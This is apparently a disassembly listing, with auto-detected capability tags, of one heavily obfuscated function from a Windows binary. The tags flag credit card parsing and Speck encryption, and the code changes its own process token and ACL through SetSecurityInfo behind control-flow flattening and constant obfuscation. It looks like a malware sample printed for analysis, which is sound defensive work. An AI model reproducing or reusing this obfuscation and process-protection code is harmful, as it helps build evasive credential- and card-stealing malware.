Function at 0x1400ad8a9
Capabilities:
Authenticate hmac
Encrypt data using speck
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xd18d44ab
pushf
not eax
add eax, 0xe68c8692
xor eax, 0xc3dd72fb
rol eax, 0x42
popf
pushf
not eax
add eax, 0x80aaca01
xor eax, 0xffaf73eb
rol eax, 0x36
popf
pushf
not eax
add eax, 0xfdaed5ce
xor eax, 0xed78f894
rol eax, 7
popf
pushf
not eax
add eax, 0xb2297295
xor eax, 0xeaa41350
rol eax, 0xda
popf
cmp eax, 0x54
jne 0x1400ad90c
popf
pop rax
jmp 0x1400b2354
cmp eax, 0x48
jne 0x1400ad91b
popf
pop rax
jmp 0x1400b0e34
cmp eax, 0x3f
jne 0x1400ad92a
popf
pop rax
jmp 0x1400b0885
cmp eax, 1
jne 0x1400ad939
popf
pop rax
jmp 0x1400adfe6
cmp eax, 0x4a
jne 0x1400ad948
popf
pop rax
jmp 0x1400b0f54
cmp eax, 0x1a
jne 0x1400ad957
popf
pop rax
jmp 0x1400af1fd
cmp eax, 0x44
jne 0x1400ad966
popf
pop rax
jmp 0x1400b0bd9
cmp eax, 0x31
jne 0x1400ad975
popf
pop rax
jmp 0x1400b00e9
cmp eax, 0x40
jne 0x1400ad984
popf
pop rax
jmp 0x1400b091c
cmp eax, 8
jne 0x1400ad993
popf
pop rax
jmp 0x1400ae760
cmp eax, 0x2a
jne 0x1400ad9a2
popf
pop rax
jmp 0x1400afd25
cmp eax, 0x17
jne 0x1400ad9b1
popf
pop rax
jmp 0x1400af06f
cmp eax, 0x1c
jne 0x1400ad9c0
popf
pop rax
jmp 0x1400af303
cmp eax, 0x2e
jne 0x1400ad9cf
popf
pop rax
jmp 0x1400afed0
cmp eax, 0x4c
jne 0x1400ad9de
popf
pop rax
jmp 0x1400b13ec
cmp eax, 0x2b
jne 0x1400ad9ed
popf
pop rax
jmp 0x1400afda2
cmp eax, 0x1b
jne 0x1400ad9fc
popf
pop rax
jmp 0x1400af2c8
cmp eax, 0x2d
jne 0x1400ada0b
popf
pop rax
jmp 0x1400afe94
cmp eax, 0x23
jne 0x1400ada1a
popf
pop rax
jmp 0x1400af92d
cmp eax, 0x25
jne 0x1400ada29
popf
pop rax
jmp 0x1400afa5b
cmp eax, 0x43
jne 0x1400ada38
popf
pop rax
jmp 0x1400b0b5a
cmp eax, 0x13
jne 0x1400ada47
popf
pop rax
jmp 0x1400aed8f
cmp eax, 0x33
jne 0x1400ada56
popf
pop rax
jmp 0x1400b01c8
cmp eax, 0x24
jne 0x1400ada65
popf
pop rax
jmp 0x1400af9c4
cmp eax, 0x1e
jne 0x1400ada74
popf
pop rax
jmp 0x1400af64b
cmp eax, 0xc
jne 0x1400ada83
popf
pop rax
jmp 0x1400ae951
cmp eax, 0x26
jne 0x1400ada92
popf
pop rax
jmp 0x1400afb05
cmp eax, 0x27
jne 0x1400adaa1
popf
pop rax
jmp 0x1400afb89
cmp eax, 0x30
jne 0x1400adab0
popf
pop rax
jmp 0x1400b0047
cmp eax, 0x10
jne 0x1400adabf
popf
pop rax
jmp 0x1400aeb8b
cmp eax, 0x37
jne 0x1400adace
popf
pop rax
jmp 0x1400b0431
cmp eax, 9
jne 0x1400adadd
popf
pop rax
jmp 0x1400ae83f
cmp eax, 0x39
jne 0x1400adaec
popf
pop rax
jmp 0x1400b0547
cmp eax, 0x16
jne 0x1400adafb
popf
pop rax
jmp 0x1400aef9b
cmp eax, 0x3b
jne 0x1400adb0a
popf
pop rax
jmp 0x1400b065f
cmp eax, 0x4b
jne 0x1400adb19
popf
pop rax
jmp 0x1400b10ae
cmp eax, 0x36
jne 0x1400adb28
popf
pop rax
jmp 0x1400b03a1
cmp eax, 0x14
jne 0x1400adb37
popf
pop rax
jmp 0x1400aee0c
cmp eax, 0x46
jne 0x1400adb46
popf
pop rax
jmp 0x1400b0d10
cmp eax, 0x3d
jne 0x1400adb55
popf
pop rax
jmp 0x1400b078b
cmp eax, 2
jne 0x1400adb64
popf
pop rax
jmp 0x1400ae230
cmp eax, 0x47
jne 0x1400adb73
popf
pop rax
jmp 0x1400b0da2
cmp eax, 0x51
jne 0x1400adb82
popf
pop rax
jmp 0x1400b1dfb
cmp eax, 0x11
jne 0x1400adb91
popf
pop rax
jmp 0x1400aec31
cmp eax, 0x35
jne 0x1400adba0
popf
pop rax
jmp 0x1400b033f
cmp eax, 0x3a
jne 0x1400adbaf
popf
pop rax
jmp 0x1400b05de
cmp eax, 0x12
jne 0x1400adbbe
popf
pop rax
jmp 0x1400aed03
cmp eax, 0x21
jne 0x1400adbcd
popf
pop rax
jmp 0x1400af83f
cmp eax, 0x38
jne 0x1400adbdc
popf
pop rax
jmp 0x1400b04ce
cmp eax, 0xb
jne 0x1400adbeb
popf
pop rax
jmp 0x1400ae916
cmp eax, 0xf
jne 0x1400adbfa
popf
pop rax
jmp 0x1400aead0
cmp eax, 0x15
jne 0x1400adc09
popf
pop rax
jmp 0x1400aee9e
cmp eax, 5
jne 0x1400adc18
popf
pop rax
jmp 0x1400ae4ee
cmp eax, 6
jne 0x1400adc27
popf
pop rax
jmp 0x1400ae59f
cmp eax, 0x4e
jne 0x1400adc36
popf
pop rax
jmp 0x1400b1695
cmp eax, 0x49
jne 0x1400adc45
popf
pop rax
jmp 0x1400b0ee6
cmp eax, 0x1f
jne 0x1400adc54
popf
pop rax
jmp 0x1400af6ef
cmp eax, 4
jne 0x1400adc63
popf
pop rax
jmp 0x1400ae3e8
cmp eax, 0x2f
jne 0x1400adc72
popf
pop rax
jmp 0x1400aff4d
cmp eax, 0x4d
jne 0x1400adc81
popf
pop rax
jmp 0x1400b144b
cmp eax, 0x55
jne 0x1400adc90
popf
pop rax
jmp 0x1400b265f
cmp eax, 0x45
jne 0x1400adc9f
popf
pop rax
jmp 0x1400b0c7e
cmp eax, 0x2c
jne 0x1400adcae
popf
pop rax
jmp 0x1400afe06
cmp eax, 3
jne 0x1400adcbd
popf
pop rax
jmp 0x1400ae350
cmp eax, 0x19
jne 0x1400adccc
popf
pop rax
jmp 0x1400af152
cmp eax, 0x1d
jne 0x1400adcdb
popf
pop rax
jmp 0x1400af3c2
cmp eax, 0x34
jne 0x1400adcea
popf
pop rax
jmp 0x1400b026a
cmp eax, 0x53
jne 0x1400adcf9
popf
pop rax
jmp 0x1400b2183
cmp eax, 0x4f
jne 0x1400add08
popf
pop rax
jmp 0x1400b19d4
cmp eax, 0x42
jne 0x1400add17
popf
pop rax
jmp 0x1400b0ab5
cmp eax, 7
jne 0x1400add26
popf
pop rax
jmp 0x1400ae647
cmp eax, 0x20
jne 0x1400add35
popf
pop rax
jmp 0x1400af79a
cmp eax, 0
jne 0x1400add44
popf
pop rax
jmp 0x1400ade07
cmp eax, 0x3c
jne 0x1400add53
popf
pop rax
jmp 0x1400b06fb
cmp eax, 0xd
jne 0x1400add62
popf
pop rax
jmp 0x1400ae9c8
cmp eax, 0xa
jne 0x1400add71
popf
pop rax
jmp 0x1400ae8b5
cmp eax, 0x18
jne 0x1400add80
popf
pop rax
jmp 0x1400af0c1
cmp eax, 0x28
jne 0x1400add8f
popf
pop rax
jmp 0x1400afc22
cmp eax, 0x22
jne 0x1400add9e
popf
pop rax
jmp 0x1400af8a0
cmp eax, 0x50
jne 0x1400addad
popf
pop rax
jmp 0x1400b1b41
cmp eax, 0x52
jne 0x1400addbc
popf
pop rax
jmp 0x1400b1ed9
cmp eax, 0x41
jne 0x1400addcb
popf
pop rax
jmp 0x1400b09c3
cmp eax, 0xe
jne 0x1400addda
popf
pop rax
jmp 0x1400aea71
cmp eax, 0x32
jne 0x1400adde9
popf
pop rax
jmp 0x1400b014b
cmp eax, 0x29
jne 0x1400addf8
popf
pop rax
jmp 0x1400afcc3
cmp eax, 0x3e
jne 0x1400ade07
popf
pop rax
jmp 0x1400b0828
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6b0]
sub rsp, 0x7b0
mov rax, qword [0x14004b090]
xor rax, rsp
mov qword [rbp + 0x6a0], rax
mov byte [rbp - 0x48], 0x4b
mov al, 0xfe
pushf
not al
add al, 0xc7
xor al, 0xb4
rol al, 0xb8
popf
pushf
not al
add al, 0xa6
xor al, 2
rol al, 0x85
popf
mov cl, 6
pushf
not cl
add cl, 0x8b
xor cl, 0x2d
rol cl, 0xf0
popf
pushf
not cl
add cl, 9
xor cl, 0xc1
rol cl, 0xc2
popf
pushf
not cl
add cl, 0x66
xor cl, 0x86
rol cl, 0xaa
popf
pushf
not cl
add cl, 0x6d
xor cl, 0xc9
rol cl, 0xf
popf
mov dl, socket
pushf
not dl
add dl, 0xe0
xor dl, 0x52
rol dl, 0xb4
popf
pushf
not dl
add dl, 0xc
xor dl, 0x7e
rol dl, 0x2d
popf
pushf
not dl
add dl, 0x98
xor dl, 0x99
rol dl, 0x2a
popf
mov r8b, 0x1d
pushf
not r8b
add r8b, 0xb7
xor r8b, 0x72
rol r8b, 0x92
popf
pushf
not r8b
add r8b, 0xda
xor r8b, 0x82
rol r8b, 0xf4
popf
pushf
not r8b
add r8b, 0xeb
xor r8b, 0x53
rol r8b, 0xf4
popf
movzx r9d, cl
xor r10d, r10d
xor al, 0x4b
mov byte [rbp - 0x47], al
xor cl, 0x4b
mov byte [rbp - 0x46], cl
xor dl, 0x4b
mov byte [rbp - 0x45], dl
xor r8b, 0x4b
mov byte [rbp - 0x44], r8b
xor r9b, 0x4b
mov byte [rbp - 0x43], r9b
mov byte [rbp - 0x42], r10b
mov r8b, 8
pushf
not r8b
add r8b, 0x24
xor r8b, 0xb5
rol r8b, 0xf
popf
pushf
not r8b
add r8b, 0x48
xor r8b, 0xd0
rol r8b, 0xa3
popf
lea rdx, [rbp - 0x47]
call fcn.14008d185
xor r15d, r15d
lea r12, [0x196b0e4e7]
pushf
sub r12, 0x56ac9927
popf
lea r13, [0x1b473fe45]
pushf
sub r13, 0x746fb27d
popf
push rax
pushf
mov eax, 0xb121d3c8
pushf
not eax
add eax, 0x9f3f074d
xor eax, 0x904d54d6
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xb4f704a6
xor eax, 0xc9229ce0
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xd98caff0
xor eax, 0xc94880d8
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xdc78eacd
xor eax, 0xb52ae06b
rol eax, 0x6b
popf
jmp 0x1400ad8fd
mov ebx, 0x8c6a7a5f
pushf
not ebx
add ebx, 0xd68f048b
xor ebx, 0x9d4dc0ce
rol ebx, 0x29
popf
pushf
not ebx
add ebx, 0xbb3b73a1
xor ebx, 0xb004f3c4
rol ebx, 0x51
popf
pushf
not ebx
add ebx, 0x9436e280
xor ebx, 0xce3921a3
rol ebx, 0x67
popf
pushf
not ebx
add ebx, 0xbd5dda11
xor ebx, 0xc3558afe
rol ebx, 0xab
popf
mov ecx, 0x98f936ad
pushf
not ecx
add ecx, 0xfa684265
xor ecx, 0xe8d2ca68
rol ecx, 0xf0
popf
pushf
not ecx
add ecx, 0xb5c67ea7
xor ecx, 0xf39ef4e9
rol ecx, 0xed
popf
jmp 0x1400ae06f
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x40], 0x43
mov al, 0x89
pushf
not al
add al, 0x10
xor al, 0xdb
rol al, 0x8f
popf
pushf
not al
add al, 0x7f
xor al, 0x32
rol al, 0xb6
popf
pushf
not al
add al, 0xd6
xor al, 0x84
rol al, 0x7b
popf
pushf
not al
add al, 0x61
xor al, 0x42
rol al, 0x84
popf
mov cl, 0x85
pushf
not cl
add cl, 0xb6
xor cl, 0x37
rol cl, 0xae
popf
pushf
not cl
add cl, 0x9c
xor cl, 0xb3
rol cl, 0x9b
popf
pushf
not cl
add cl, 0xee
xor cl, 0xcb
rol cl, 0xe7
popf
pushf
not cl
add cl, 0xfd
xor cl, 0xd3
rol cl, 0xa1
popf
mov dl, 0xb3
pushf
not dl
add dl, 2
xor dl, 0x44
rol dl, 0x5f
popf
pushf
not dl
add dl, 0x78
xor dl, 0x54
rol dl, 0x58
popf
mov r8b, 0x94
pushf
not r8b
add r8b, 0x71
xor r8b, 0xbc
rol r8b, 0xed
popf
pushf
not r8b
add r8b, 6
xor r8b, 0x64
rol r8b, 0x49
popf
movzx r9d, cl
xor r10d, r10d
xor al, 0x43
mov byte [rsp + 0x41], al
xor cl, 0x43
mov byte [rsp + 0x42], cl
xor dl, 0x43
mov byte [rsp + 0x43], dl
xor r8b, 0x43
mov byte [rsp + 0x44], r8b
xor r9b, 0x43
mov byte [rsp + 0x45], r9b
mov byte [rsp + 0x46], r10b
xor r8d, r8d
lea rdx, [rsp + 0x41]
call fcn.14008d185
test al, al
jne 0x1400ae1d7
push rax
pushf
mov eax, 0x741fa2ff
pushf
not eax
add eax, 0x9f01c61a
xor eax, 0xed3dc2f1
rol eax, 0x32
popf
pushf
not eax
add eax, 0x9af1d4ab
xor eax, 0xc368c631
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xeddaed52
xor eax, 0xe8b2422c
rol eax, 0x71
popf
pushf
not eax
add eax, 0xed53d676
xor eax, 0xfa43ef72
rol eax, 0x94
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xed58333c
pushf
not eax
add eax, 0xa59d6da3
xor eax, 0xa9196595
rol eax, 0x52
popf
pushf
not eax
add eax, 0xe39cb910
xor eax, 0xd6893139
rol eax, 0x51
popf
pushf
not eax
add eax, 0xe21d1b0f
xor eax, 0xc3425564
rol eax, 0x68
popf
pushf
not eax
add eax, 0x99c1856e
xor eax, 0xa3dc4cce
rol eax, 7
popf
jmp 0x1400ad8fd
xor r14b, r14b
mov qword [rbp - 0x78], r15
mov dword [rbp - 0x48], r15d
jmp 0x1400ae23c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x78]
mov edx, 0x7ac818c4
pushf
not edx
add edx, 0xc0b40167
xor edx, 0xb0d1d0ed
rol edx, 0xe9
popf
pushf
not edx
add edx, 0xfe5aad88
xor edx, 0xcb53b630
rol edx, 0xe2
popf
pushf
not edx
add edx, 0xe60b7e85
xor edx, 0xafa54d48
rol edx, 0x79
popf
pushf
not edx
add edx, 0xd90097d9
xor edx, 0xca17d453
rol edx, 0x15
popf
jmp 0x1400ae2a3
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400ae2f7
push rax
pushf
mov eax, 0xd30511a0
pushf
not eax
add eax, 0x9d88ab4b
xor eax, 0xb2c32746
rol eax, 0x19
popf
pushf
not eax
add eax, 0x810faa99
xor eax, 0xe301c132
rol eax, 0x96
popf
pushf
not eax
add eax, 0xb820435c
xor eax, 0xadfd7ba1
rol eax, 0x8c
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xd7aa6fad
pushf
not eax
add eax, 0xa8b7e1e4
xor eax, 0xf4e68ba1
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xdfe241e0
xor eax, 0xefc609fd
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x9dc69496
xor eax, 0x85f6c11e
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xf1dbc249
xor eax, 0xf3da3664
rol eax, 0x38
popf
jmp 0x1400ad8fd
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, qword [rbp - 0x78]
jmp 0x1400ae368
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rbp - 0x48]
call fcn.1400abede
mov rbx, rax
test rax, rax
je 0x1400ae3b5
push rax
pushf
mov eax, 0x417289c9
pushf
not eax
add eax, 0xf74d5027
xor eax, 0xe0770714
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xe4840a7a
xor eax, 0x99d69cef
rol eax, 0x9b
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xecf51391
pushf
not eax
add eax, 0xe70c1ca3
xor eax, 0xe35c4c8f
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd9f63285
xor eax, 0xf8617d2b
rol eax, 0x1a
popf
jmp 0x1400ad8fd
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x48]
mov r8, rbx
mov edx, 0x16cfeae0
pushf
not edx
add edx, 0xc4465e3e
xor edx, 0x93e7c701
rol edx, 0xd6
popf
pushf
not edx
add edx, 0xe2a1ac6d
xor edx, 0xed6874f0
rol edx, 0x9e
popf
pushf
not edx
add edx, 0xba903b3e
xor edx, 0xf0d19e7e
rol edx, 0xbe
popf
mov rcx, qword [rbp - 0x78]
jmp 0x1400ae441
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400ae495
push rax
pushf
mov eax, 0xd292257
pushf
not eax
add eax, 0xf50c6e4c
xor eax, 0xe16dcfa3
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x8026f6de
xor eax, 0xcc23ae7f
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x9b49af0c
xor eax, 0xc3bb32d2
rol eax, 0x29
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xe9e076fe
pushf
not eax
add eax, 0x99453804
xor eax, 0xcea04135
rol eax, 0x95
popf
pushf
not eax
add eax, 0xbe0e4e15
xor eax, 0xcef40774
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xedde2c93
xor eax, 0x934f41cd
rol eax, 0x18
popf
pushf
not eax
add eax, 0xbf7afa3d
xor eax, 0xd15b41d8
rol eax, 0xb5
popf
jmp 0x1400ad8fd
mov rcx, qword [rbx]
jmp 0x1400ae4f2
call qword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
je 0x1400ae559
push rax
pushf
mov eax, 0xe468b16a
pushf
not eax
add eax, 0xa4ff62e7
xor eax, 0xa9e28304
rol eax, 8
popf
pushf
not eax
add eax, 0xa6a5e0fa
xor eax, 0xe68127a2
rol eax, 0
popf
pushf
not eax
add eax, 0xd9b7a3b4
xor eax, 0x80679a93
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xa94dd222
xor eax, 0x809bcd80
rol eax, 0x52
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x5e935039
pushf
not eax
add eax, 0xfdb4dbd5
xor eax, 0x93a5eb39
rol eax, 0x40
popf
pushf
not eax
add eax, 0xd9283cde
xor eax, 0xa27b6326
rol eax, 0x52
popf
pushf
not eax
add eax, 0x82a932f9
xor eax, 0x86337556
rol eax, 0x9a
popf
jmp 0x1400ad8fd
mov rcx, qword [rbx]
jmp 0x1400ae5a3
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
lea esi, [rax + 0x14]
mov ecx, esi
call fcn.1400abede
mov rdi, rax
test rax, rax
je 0x1400ae601
push rax
pushf
mov eax, 0xbaf35c0
pushf
not eax
add eax, 0xe76036ca
xor eax, 0xe12fd1a0
rol eax, 0x26
popf
pushf
not eax
add eax, 0xbf0c6ea7
xor eax, 0xc97d37bc
rol eax, 0x14
popf
pushf
not eax
add eax, 0xfbb6449c
xor eax, 0xbd746244
rol eax, 0x8e
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xe4aab06c
pushf
not eax
add eax, 0x827b9bfa
xor eax, 0x975174e2
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xe97cdc30
xor eax, 0xe01d7c69
rol eax, 5
popf
pushf
not eax
add eax, 0xaab67e03
xor eax, 0x82a6fd6d
rol eax, 0xa8
popf
jmp 0x1400ad8fd
mov r8d, 0x2ecd5b28
pushf
not r8d
add r8d, 0xefac04f0
xor r8d, 0xe937911e
rol r8d, 0xdf
popf
pushf
not r8d
add r8d, 0xa8173fbe
xor r8d, 0x9fbf8d2c
rol r8d, 0x99
popf
pushf
not r8d
add r8d, 0xc48dd365
xor r8d, 0x958e6005
rol r8d, 0x31
popf
pushf
not r8d
add r8d, 0x9ec49d8d
xor r8d, 0xaca9e396
rol r8d, 0x21
popf
mov edx, esi
mov rcx, rax
jmp 0x1400ae6b7
call qword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x1400ae71a
push rax
pushf
mov eax, 0xd83d4653
pushf
not eax
add eax, 0xcefd7177
xor eax, 0x930b5287
rol eax, 0xab
popf
pushf
not eax
add eax, 0xa1e58eb1
xor eax, 0xb21f25fc
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xb9fe6c49
xor eax, 0x8ed53558
rol eax, 0x65
popf
pushf
not eax
add eax, 0xf36b6efc
xor eax, 0xcd6d65c5
rol eax, 0x5b
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x16f7f28f
pushf
not eax
add eax, 0xdf0e2c35
xor eax, 0xd1a58e45
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xe065e3d8
xor eax, 0x9dfe014d
rol eax, 0x99
popf
pushf
not eax
add eax, 0x8622ad63
xor eax, 0xad797d9f
rol eax, 0x2b
popf
jmp 0x1400ad8fd
mov r9, qword [rbx]
mov edx, 0x6c1382e3
pushf
not edx
add edx, 0xa129e5d5
xor edx, 0x960a0e1e
rol edx, 0x56
popf
pushf
not edx
add edx, 0xe8b78e1d
xor edx, 0xaccac701
rol edx, 0x6f
popf
mov r8d, 0x16bfe454
pushf
not r8d
add r8d, 0xbe3f59b2
xor r8d, 0xf466d500
rol r8d, 0x90
popf
pushf
not r8d
add r8d, 0x8b955b8a
xor r8d, 0xab780c70
rol r8d, 0x96
popf
mov rcx, rdi
jmp 0x1400ae7ce
call qword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
test eax, eax
je 0x1400ae80b
push rax
pushf
mov eax, 0xd0c2a25a
pushf
not eax
add eax, 0xfd0acde8
xor eax, 0xa9fea8cd
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xa8cd3fa6
xor eax, 0xf4b33ff8
rol eax, 0x99
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x5e95bfbe
pushf
not eax
add eax, 0xd1cae7b9
xor eax, 0x9cad938d
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xa4cf359e
xor eax, 0xa8e84880
rol eax, 0xb3
popf
jmp 0x1400ad8fd
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea edx, [r9 + 6]
lea r8d, [r9 + 4]
jmp 0x1400ae863
call qword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
test eax, eax
sete r14b
push rax
pushf
mov eax, 0x1902627d
pushf
not eax
add eax, 0xa988bfb3
xor eax, 0xf31d93dc
rol eax, 0x82
popf
pushf
not eax
add eax, 0xad48aa78
xor eax, 0xb9f5711a
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xeb328a83
xor eax, 0xce820b62
rol eax, 0x42
popf
jmp 0x1400ad8fd
mov rcx, rdi
call fcn.14016e1b1
push rax
pushf
mov eax, 0xb962b082
pushf
not eax
add eax, 0xeead9846
xor eax, 0xc2bc27b5
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xf5f5584d
xor eax, 0xe7a7fc04
rol eax, 0x57
popf
pushf
not eax
add eax, 0xcaf76450
xor eax, 0xb88d8af2
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xe0427575
xor eax, 0xd86a23e4
rol eax, 0xf3
popf
jmp 0x1400ad8fd
mov rcx, rbx
call fcn.14016e1b1
push rax
pushf
mov eax, 0x98148db7
pushf
not eax
add eax, 0xddc86bb7
xor eax, 0x86096055
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x971e7a37
xor eax, 0xc1312415
rol eax, 0x40
popf
jmp 0x1400ad8fd
mov ebx, 0x919a5c92
pushf
not ebx
add ebx, 0xa6b1197b
xor ebx, 0xcfaf75c0
rol ebx, 0x91
popf
pushf
not ebx
add ebx, 0xedf7cae8
xor ebx, 0xe1b35b7e
rol ebx, 0x38
popf
pushf
not ebx
add ebx, 0xcc777960
xor ebx, 0xc1bd6511
rol ebx, 0x1a
popf
push rax
pushf
mov eax, 0xcd04d727
pushf
not eax
add eax, 0xc0dee669
xor eax, 0x90de1160
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xbd38c9a5
xor eax, 0xa708b3c2
rol eax, 0xf6
popf
jmp 0x1400ad8fd
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400aea2a
push rax
pushf
mov eax, 0x1f256fc9
pushf
not eax
add eax, 0xfa56ec59
xor eax, 0xb0347595
rol eax, 0x91
popf
pushf
not eax
add eax, 0x94390caa
xor eax, 0xdefaca1b
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xd13afb5d
xor eax, 0xec10b753
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xef532845
xor eax, 0x8e8fe6f5
rol eax, 0x7c
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x9dfcc095
pushf
not eax
add eax, 0x9a0ddc87
xor eax, 0x9c5e72d7
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xb0cb8b04
xor eax, 0xc45b2b9b
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xd48dc207
xor eax, 0xbc028be7
rol eax, 0xe1
popf
jmp 0x1400ad8fd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0xbd6c135
pushf
not eax
add eax, 0xfb934321
xor eax, 0xe1d5e876
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x9a0617fb
xor eax, 0x9c167f99
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xa267e2e9
xor eax, 0xad8dbe98
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x8fb914fc
xor eax, 0xd39f922a
rol eax, 0x5a
popf
jmp 0x1400ad8fd
test r14b, r14b
je 0x1400aeb32
push rax
pushf
mov eax, 0xa9b0a6f0
pushf
not eax
add eax, 0xdc288862
xor eax, 0xc985f402
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x9a893191
xor eax, 0xaf754367
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xc0a3eb71
xor eax, 0xf3845b36
rol eax, 9
popf
pushf
not eax
add eax, 0xe52ca112
xor eax, 0x8c8e1690
rol eax, 0x1d
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xbb8e0fb2
pushf
not eax
add eax, 0x8096eb33
xor eax, 0xad7db65a
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x91e7493e
xor eax, 0xa052ad65
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xa7cf4e99
xor eax, 0xcfa9029b
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xe4fa0a1e
xor eax, 0xd9f7222e
rol eax, 0x15
popf
jmp 0x1400ad8fd
mov r14d, ebx
mov rax, qword gs:[0x58]
add r14, qword [rax]
mov eax, dword [r14]
cmp dword [0x14004e120], eax
jle 0x1400aebfe
push rax
pushf
mov eax, 0x32099743
pushf
not eax
add eax, 0xf723916b
xor eax, 0xecea74ff
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xa3e89097
xor eax, 0xd070416b
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xf6e293eb
xor eax, 0xfc5a94f6
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xf9204bf9
xor eax, 0xf8d78d14
rol eax, 0x8d
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x4036c2b0
pushf
not eax
add eax, 0x96c01b00
xor eax, 0xcfb1dd81
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xbf52b182
xor eax, 0xfb250cb8
rol eax, 0x94
popf
jmp 0x1400ad8fd
lea rcx, [0x1ad535fbc]
pushf
sub rcx, 0x6d4e7e9c
popf
call fcn.14019a0a3
cmp dword [0x14004e120], 0xffffffff
jne 0x1400aecaa
push rax
pushf
mov eax, 0x9b2c7246
pushf
not eax
add eax, 0xd17b8c3c
xor eax, 0x85ebf986
rol eax, 0x80
popf
pushf
not eax
add eax, 0xc5c64f15
xor eax, 0x8c591ab6
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xdceedadb
xor eax, 0xa5bee5ea
rol eax, 6
popf
pushf
not eax
add eax, 0xfee815e4
xor eax, 0xfb250ff3
rol eax, 0xa0
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x2cfc2d05
pushf
not eax
add eax, 0xd0bec5dc
xor eax, 0xd2372c48
rol eax, 0x26
popf
pushf
not eax
add eax, 0xe8fc8543
xor eax, 0xb0e2ed72
rol eax, 0x63
popf
pushf
not eax
add eax, 0xbb82279e
xor eax, 0x9a17b1cd
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xe272bf36
xor eax, 0xf88ab631
rol eax, 0x1a
popf
jmp 0x1400ad8fd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x14004e100], xmm0
mov qword [0x14004e110], rax
lea rdx, [0x1a7f10d9c]
pushf
sub rdx, 0x67ec2c9c
popf
call fcn.1400d3cfa
lea rcx, [0x1a5d18c29]
pushf
sub rcx, 0x65ce3249
popf
call fcn.1400c66e9
nop
lea rcx, [0x1a9bfe7b8]
pushf
sub rcx, 0x69bb0698
popf
call fcn.140181826
push rax
pushf
mov eax, 0x9f94861
pushf
not eax
add eax, 0xb0653c9f
xor eax, 0xe8cc84a8
rol eax, 0xea
popf
pushf
not eax
add eax, 0x9d3b2e7e
xor eax, 0xf6f8d943
rol eax, 0x49
popf
jmp 0x1400ad8fd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
